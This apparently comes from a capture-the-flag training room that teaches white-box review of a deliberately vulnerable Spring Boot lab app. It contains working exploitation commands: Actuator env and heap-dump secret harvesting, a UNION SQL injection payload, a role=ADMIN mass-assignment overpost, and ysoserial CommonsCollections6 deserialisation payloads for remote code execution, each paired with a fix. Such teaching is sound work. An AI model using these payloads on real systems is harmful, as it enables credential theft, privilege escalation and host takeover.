Introduction
This is the Java entry in the Web Frameworks module, and we are going to work it the way a security reviewer actually does: as a code review. Instead of poking at a black box and guessing, we are handed the application's source and asked to find the bugs by reading it, then prove each one on the running lab machine. This is white-box testing. Once we can see how the code is written, the framework-specific mistakes stop being mysteries and become patterns we can grep for.
The lab machine runs a Spring Boot application. Spring Boot has won the Java web framework wars on the strength of opinionated defaults: auto-configuration, an embedded Tomcat, classpath scanning, and a management subsystem called Actuator that ships ready to turn on. Those same defaults are where its bugs live. A management endpoint left exposed, a query that drops below the ORM, a controller that binds a whole entity, a dependency that turns a deserialise call into code execution: each is a habit that is easy to ship and hard to spot from the outside, and obvious the moment we read the source.
Learning Objectives
- Read Spring Boot source to locate framework-specific sinks
- Recognise an exposed Actuator surface and lift secrets from
/actuator/envand/actuator/heapdump - Spot a SQL injection that survives Spring's data layer through string-built raw SQL
- Identify and exploit mass assignment in a controller that binds a full entity
- Recognise the Java deserialisation sinks and drive one to remote code execution with ysoserial
Prerequisites
- Working knowledge of HTTP and the request/response cycle
- Familiarity with the OWASP Top 10
- Comfort reading Java (no writing required) and using
curlandjqfrom a terminal
Suggested prerequisite rooms: Web Frameworks: Code Review for the read, map, trace, triage, and verify method this room applies, plus OWASP Top 10 2025: Insecure Data Handling, SQL Injection, and Content Discovery.
Machine Access
Click the Start Lab Machine button below of the room and give it a couple of minutes to boot. Everything on the lab machine runs in the browser: the source review viewer at http://MACHINE_IP/ and the live application at http://MACHINE_IP:8080/. There is no SSH login for the lab machine.
Once it boots, the source review viewer's landing page is a split-pane view with three panes: a file tree of the application's source on the left, the syntax-highlighted source itself in the middle, and the live application on the right. We read the redacted source in the middle pane to locate each sink, then we exploit the live app on the right to recover the real flag. Secret values and flags are blanked to <REDACTED> in the served source, so the source teaches us WHERE a bug lives, never the secret itself. We recover the real values by attacking the running lab machine.
Machine Access
?Answer the questions below
- I have successfully started my lab machine instance.
Actuator Misconfiguration and the Environment Leak
Actuator is the management subsystem that ships with the spring-boot-starter-actuator dependency. It exposes health, metrics, environment, mappings, a heap dump, and more. None of these endpoints help an end user; all of them help a developer or an attacker. Spring Boot 2.x restricts the exposed set to health and info by default, and one line of configuration opens the rest.
Spotting It in the Source
Open application.properties in the viewer. The line that matters is:
management.endpoints.web.exposure.include=*
The wildcard exposes every Actuator endpoint on the application's own port. Teams set exactly this for monitoring or because they copied it from a forum answer. Below it, a custom property holds a value the source keeps blank:
app.actuatorflag=<REDACTED>
Two facts from one file: the management surface is wide open, and there is a custom property worth reading off the running app. Actuator's /env endpoint masks keys that match its sensitive-key list (password, secret, key, token, credentials). A key like app.actuatorflag matches none of them, so it renders in cleartext.
Exploiting the Live App
First list what is exposed, then read the property straight out of /actuator/env:
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/actuator | jq '._links | keys'
With the wildcard set, the listing includes env, heapdump, mappings, configprops, and more. Read the custom property directly by appending its name to the /env path:
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/actuator/env/app.actuatorflag | jq
{
"property": {
"source": "Config resource 'class path resource [application.properties]' ...",
"value": "THM{...}"
},
...
}
The value renders in full because its key is not on Actuator's sensitive list. The same surface hands us a second, heavier option: /actuator/heapdump downloads a binary snapshot of the entire JVM heap, and strings over it finds any credential the application holds in memory. For a single named property, /env is the precise tool; for hunting database passwords and API keys that never appear in config, the heap dump is the one that finds everything.
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/actuator/heapdump -o heap.hprof
root@TryHackMe:~# strings heap.hprof | grep -iE 'password|secret|token' | sort -u | head
A heap dump is worth understanding because it leaks what config never holds. A .hprof file is a snapshot of every live object in the JVM: every interned string, every field on every bean, every in-flight request. Spring's @Value("${db.password}") injection in particular keeps the value as a strong reference for the life of the application, so it is in every dump. strings is a fast first pass; VisualVM or Eclipse MAT open the file for structured browsing when the credential is wrapped in an object rather than sitting as a bare string.
Version matters during a review. Spring Boot 1.x exposed /env by default and even allowed writing to it, which chains to RCE through /refresh. Spring Boot 2.x restricted exposure to health and info, made /env read-only, and is the version where the wildcard above is the giveaway. Spring Boot 3.x masks /env values by default, pushing attackers back toward the heap dump. Operators sometimes wrap Actuator with Spring Security, but that is bypassable when the team moves it to management.server.port and forgets to firewall that port, or hard-codes /actuator/** paths a proxy never reaches.
The lesson for a review is mechanical: find exposure.include=* (or a 1.x app at all), and treat the management surface as a secret-disclosure endpoint. The fix is to expose only what operations needs and to put Actuator behind authentication on a separate, firewalled port.
?Answer the questions below
- Reviewing application.properties , what single value assigned to management.endpoints.web.exposure.include opens the whole management surface rather than just health and info ?
- The flag's key app.actuatorflag matches none of Actuator's masked words, so which endpoint renders it in cleartext when we read a named property?
- Read the property from the live app. What is the flag?
SQL Injection Below the Spring Data Layer
Spring Data and JPA parameterise the queries they generate, and Spring's JdbcTemplate parameterises too when you pass arguments separately. The protection holds right up until a developer builds the SQL string themselves and drops the user's input into it. At that point the query is assembled from attacker text and the binding guarantee is gone, exactly as it would be with raw JDBC.
Spotting It in the Source
Open SearchController.java in the viewer and read the search action:
String sql = "SELECT id, title, body FROM articles WHERE title = '" + q + "'";
List<Map<String, Object>> rows = jdbc.queryForList(sql);
The user-supplied q is concatenated straight into the SQL string inside single quotes. The safe form passes q as a bound parameter, jdbc.queryForList("... WHERE title = ?", q), where the value can never break out of the string. During a review the pattern to grep for is exactly this: a SQL string built with + or String.format that mixes in a request value, then handed to queryForList, query, execute, or an EntityManager createQuery.
Now open Flag.java in the viewer. It sits in the same model package as Article and User, and its @Table(name = "flags") class annotation names the table directly: flags, with a name and a secret column, and no controller exposes it. This is the white-box advantage at work: by reading the model we recover the schema, the table name and the column, before sending a single payload. With the schema in hand we can UNION the flag straight out of the injectable query.
Exploiting the Live App
The query selects three columns (id, title, body), so our UNION has to return three. We close the quote, UNION a select of the secret from the flags table, and comment out the trailing quote the application appends:
root@TryHackMe:~# curl -s --get http://MACHINE_IP:8080/search \
--data-urlencode "q=' UNION SELECT id, secret, secret FROM flags -- "
{"results":[{"ID":1,"TITLE":"THM{...}","BODY":"THM{...}"}]}
Flags explained:
--get, send the data as a query string on a GET request--data-urlencode, URL-encode the payload so the quotes, spaces, and comment survive transit
We place secret in both the title and body positions so the flag shows up whichever field the response renders, and the -- comment swallows the quote the application adds after our input. The response returns the row from the hidden flags table that no route was ever meant to reach.
The same trap exists at every layer of Spring's data access, and each has a safe twin a reviewer should recognise. JdbcTemplate is safe with queryForList(sql, args...) and unsafe when the SQL is pre-built from input. JPA is safe with @Query named or positional parameters (:title or ?1) and unsafe when a developer concatenates into a createQuery string. Even the repository method-name derivation is safe, because Spring generates parameterised SQL from the method signature. So the review question is always the same: does the user value reach the database as a bound parameter, or as part of the query text? When it is part of the text, the surrounding entity classes hand us the schema, the table and column names, to exfiltrate through the hole.
The takeaway is simple: an ORM or a JdbcTemplate is not proof of safety. The moment we see a SQL string built from input rather than parameters, the endpoint is injectable.
?Answer the questions below
- Spring's data layer parameterises by default, yet SearchController reintroduces injection by passing a string-built query to which Spring class?
- Reading the Flag entity tells us the schema before we send a payload. Which column do we UNION out to recover the hidden flag?
- Inject through the search endpoint to read the hidden flag. What is it?
Mass Assignment and Model Binding
Spring's data binder turns request parameters into a Java object. A controller method declares a parameter type annotated @ModelAttribute, and the binder matches incoming form fields, query values, and path data to that type's properties by name. It is convenient and automatic. The problem is that "by name" means "every property by name", including ones the form never rendered. Mass assignment, the Spring name for overposting, is the result: an attacker sends an extra field and the binder sets it anyway.
The binder does not care where a value came from. Form fields, query-string parameters, and path variables all feed the same matching step, so an attacker can smuggle a property in through whichever channel the action accepts. It also does not care whether the UI ever displayed the field. The rendered form is just HTML; the binding contract is the parameter type, not the page. This is why mass assignment turns up again and again in code that binds JPA entities straight from the request, the convenient default is the insecure one.
Spotting It in the Source
Open User.java in the viewer:
@Entity
@Table(name = "users")
public class User {
private Long id;
private String username;
private String password;
private String email;
private String role = "USER";
// getters and setters
}
The role field is the prize. Now open AccountController.java and read the profile update action:
@PostMapping("/account/update")
public String update(@ModelAttribute User user, HttpSession session) {
...
users.save(user);
return "redirect:/account/profile";
}
The action binds the whole User entity straight from the request and saves it. The profile form renders only an email field, but binding happens against the entire class. If we add role=ADMIN to the POST body, the binder sets it and the save persists it. The fix a reviewer recommends is to bind a Data Transfer Object that has no role field, or to restrict the binder with an @InitBinder method calling setAllowedFields("email"). Binding entity types straight from the request is the root cause; both fixes keep the sensitive field away from the binder.
Exploiting the Live App
Register and log in (the lab keeps a session cookie; no token gymnastics are needed), then submit the profile update with the extra field. We use a cookie jar so the session carries across requests:
root@TryHackMe:~# curl -s -c cj -b cj -d "username=rev&password=pw&email=x@x.com" http://MACHINE_IP:8080/account/register -o /dev/null
root@TryHackMe:~# curl -s -c cj -b cj -d "username=rev&password=pw" http://MACHINE_IP:8080/account/login -o /dev/null
root@TryHackMe:~# curl -s -c cj -b cj -d "email=rev@x.com&role=ADMIN" http://MACHINE_IP:8080/account/update -o /dev/null
root@TryHackMe:~# curl -s -c cj -b cj http://MACHINE_IP:8080/admin | grep -o 'THM{[^}]*}'
THM{...}
The role is read from the database record, so the /admin page returns the dashboard once the overposted ADMIN value is persisted. In a browser-driven test you would do the same in Burp: capture the profile POST, add role=ADMIN, and replay it before reloading /admin.
A reviewer should be able to write both fixes from memory, because they are the same fix applied two ways: keep the sensitive field away from the binder. A Data Transfer Object exposes only what the user may change:
public class ProfileUpdateDto { private String email; /* no role */ }
public String update(@ModelAttribute ProfileUpdateDto dto, ...) { ... }
With a DTO the role property does not exist on the bound type, so there is nothing for an attacker to set and nothing for a future developer to forget. The lighter touch is to constrain the binder in place:
@InitBinder
public void initBinder(WebDataBinder binder) { binder.setAllowedFields("email"); }
This tells Spring to populate only email and silently drop any other request parameter. Binding entity types straight from the request is the root cause, and a code review should flag every @ModelAttribute SomeEntity that lacks one of these guards. The same risk applies to @RequestBody on a JSON endpoint that deserialises onto an entity, so the rule generalises: bind a purpose-built input type, never your persistence model.
?Answer the questions below
- The profile form renders only email , but the binder matches every property by name. Which User field do we overpost to reach admin?
- The lighter of the two fixes restricts which fields the binder populates without introducing a separate DTO. Which annotation marks the method that holds that fix?
- Overpost the field and read the admin dashboard. What is the flag?
Java Deserialisation to RCE
Java deserialisation has been a reliable source of remote code execution since the ysoserial payloads were published in 2015. The idea is simple: when an application calls ObjectInputStream.readObject() on attacker-controlled bytes, it rebuilds a Java object graph. If the classpath holds the right "gadget" classes, that reconstruction can be steered into running arbitrary code. Recognising the sink and checking the classpath is a core Java review skill. The bytes do not have to arrive over HTTP either: RMI services, JMX endpoints, and message-queue consumers all deserialise, which is why an open RMI port on an internal scan deserves the same suspicion as a readObject in a controller.
Spotting It in the Source
Open ImportController.java in the viewer:
byte[] data = Base64.getDecoder().decode(body);
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
Object obj = ois.readObject(); // sink
}
The endpoint base64-decodes the request body and calls readObject() on it. That single call is the sink. Lookalike sinks to grep for in any Java review include XStream.fromXML(), XMLDecoder.readObject(), SnakeYAML's yaml.load(), and Jackson configured with enableDefaultTyping() or @JsonTypeInfo open typing. SpEL injection through SpelExpressionParser is a separate Spring-specific RCE worth knowing too.
A sink alone is not enough; the gadget chain needs a vulnerable library on the classpath. Open pom.xml in the viewer and the dependency is right there:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
Apache Commons Collections 3.2.1 is exactly what the ysoserial CommonsCollections6 chain needs. Reading the build file told us which gadget will work before we sent anything.
Exploiting the Live App
This is the one step in the room that needs a tool beyond curl: ysoserial, the Java deserialisation payload generator. It is a runnable JAR, the AttackBox already has Java, and you can grab the JAR from https://github.com/frohoff/ysoserial/releases if it is not already present.
Generate a CommonsCollections6 payload whose command copies the flag into the app's web-served export directory, base64-encode it, and POST it to the sink:
root@TryHackMe:~# java -jar ysoserial-all.jar CommonsCollections6 \
'cp /flags/deser.txt /app/loot/out.txt' | base64 -w0 > payload.b64
root@TryHackMe:~# curl -s -X POST http://MACHINE_IP:8080/internal/import --data-binary @payload.b64
{"status":"error","detail":"..."}
The POST returns a deserialisation error because the rebuilt object is not what the controller expected, but the gadget already ran during readObject, so the command executed regardless. This is the normal shape of a deserialisation RCE: the exploit fires as a side effect of reconstruction, well before the application code ever inspects the result. Read the flag back from the export directory:
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/loot/out.txt
THM{...}
The command cp needs no shell features, so it runs cleanly through the gadget's Runtime.exec. For commands that need a pipe or a redirect, ysoserial users wrap them in bash -c {echo,BASE64}|{base64,-d}|bash, but a plain two-argument copy keeps this step simple.
It helps to know the family so a single pass over a codebase flags them. ObjectInputStream.readObject is the classic, but XStream.fromXML, XMLDecoder.readObject, SnakeYAML's yaml.load, and a Jackson ObjectMapper with enableDefaultTyping() (or @JsonTypeInfo open typing) all instantiate types named in the input. Where these read attacker data, treat them as the same bug. The gadget chain is the other half: CommonsCollections6 strings together InvokerTransformer, LazyMap, and TiedMapEntry from Commons Collections to turn a readObject into a method call of the attacker's choosing, which is why the dependency in pom.xml decided the outcome before we sent a byte. Modern JDKs ship an ObjectInputFilter mechanism (JEP 290) that can allow-list classes during deserialisation, and an app that sets a strict filter, or simply stops deserialising untrusted input, closes the sink even with the gadget present.
The pattern to carry into any Java review is the same: find the readObject (or lookalike) call, check whether the bytes are attacker-controlled, then check the classpath for a gadget library. All three present means remote code execution.
?Answer the questions below
- Rebuilding an object graph from attacker bytes is what makes this RCE possible. Which ObjectInputStream method, the sink in ImportController , performs that reconstruction?
- The sink alone is not enough; the gadget chain needs a vulnerable library on the classpath. Which dependency in pom.xml supplies the gadget that turns readObject into code execution?
- Run the gadget chain and read the dropped flag. What is it?
Practical, The White-Box Chain
Each task so far solved one bug in isolation. The point of a source review is to step back and rank what we found. We reviewed one application with four issues: an open management surface that leaks a property, a SQL injection that reads a hidden table, a mass-assignment bug that escalates a user, and a deserialisation endpoint that runs code. Three of those read or change data. One of them, the deserialisation sink reachable with a gadget already on the classpath, gives code execution on the host itself, which outranks everything else.
Ranking is the skill the review teaches. The env leak, the injection, and the overpost each expose one slice of the application, and they are serious, but their blast radius stops at the app. Code execution is a different tier: from a foothold in the JVM process we can read any file the service account can reach, pivot to other services, harvest credentials, and persist. That is why the readObject sink, paired with the commons-collections dependency we spotted in pom.xml, is the finding that matters most on this host. So the chain is the methodology, not a new trick: read the source, rank by impact, and turn the highest-impact finding into a foothold.
It is worth seeing how the earlier findings feed this judgement rather than standing alone. The Actuator review told us the app trusts its own configuration surface, which is where a real engagement would hunt for the database credentials and signing keys that enable lateral movement. The deserialisation review told us the app loads a gadget library and calls readObject on request data, the single fact that turns a web bug into host access. A black-box tester might find these in any order and weight them equally; reading the source lets us line them up and say, with evidence, which one owns the machine. That is the difference the white-box angle makes.
Recovering the Final Flag
Reuse the deserialisation foothold to read a flag that no route ever serves. It sits in a file on disk that only running code can reach, so we copy it into the web-served export directory and download it:
root@TryHackMe:~# java -jar ysoserial-all.jar CommonsCollections6 \
'cp /flags/chain.txt /app/loot/chain.txt' | base64 -w0 > chain.b64
root@TryHackMe:~# curl -s -X POST http://MACHINE_IP:8080/internal/import --data-binary @chain.b64 -o /dev/null
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/loot/chain.txt
THM{...}
Step back and look at what we did. We read the source to find where each bug lived, ranked them by impact, and turned the deserialisation sink into a foothold that read a flag no endpoint exposes. Before claiming the RCE we confirmed it, reading the dropped file back over HTTP rather than trusting a blind request, because a careful tester proves code execution rather than assuming the gadget fired. Writing this up, a useful report leads with the remote code execution, names the exact file and line for each finding, and gives the one-line fix: restrict Actuator and put it behind auth, parameterise the SQL, bind a DTO instead of the entity, and never deserialise untrusted input. The same loop, read the source, find the sink, prove it on the lab machine, applies to any Spring codebase you are handed next.
?Answer the questions below
- Of the four findings, the code-execution one outranks the rest because its blast radius reaches the host. Which endpoint provides that foothold?
- The version pinned in pom.xml decides which payload works before we send a byte. Which ysoserial gadget chain matches the commons-collections version on the classpath?
- Use the foothold to read the host-only flag. What is it?
Conclusion
We reviewed a Spring Boot application the way a security tester does, by reading the source for the sink and then proving it on the running lab machine. The bugs were not exotic. Each one came from a framework default or a developer habit that is easy to ship and hard to spot from the outside.
What we walked away with:
- An exposed Actuator surface is a secret-disclosure endpoint:
/actuator/envleaks unmasked properties and/actuator/heapdumpleaks anything in memory. - Spring's data layer parameterises until a developer builds the SQL string from input, and then the injection is back.
- Binding a whole entity with
@ModelAttributetrusts the client to send only the fields the form rendered, and one extra parameter escalates to admin. - A
readObjectcall plus a gadget library on the classpath is remote code execution, andpom.xmltells you whether the gadget is present. - The value of the review is ranking what you find: the same host held four bugs, and the deserialisation sink was the one that owned the machine.
The thread running through all of it is the white-box angle. Half the work was reading the source to find the sink, and the other half was proving it on the live lab machine. Once we know what Spring auto-configures, exposes, binds, and deserialises, the same patterns are quick to find in any codebase that uses them.
The review method itself, the read, map, trace, triage, and verify workflow, is covered in Web Frameworks: Code Review. The sibling rooms Web Frameworks: Python and Web Frameworks: .NET carry these patterns into other stacks, where the same classes of bug show up with different syntax and different defaults.
?Answer the questions below
- I have completed the Web Frameworks: Java room.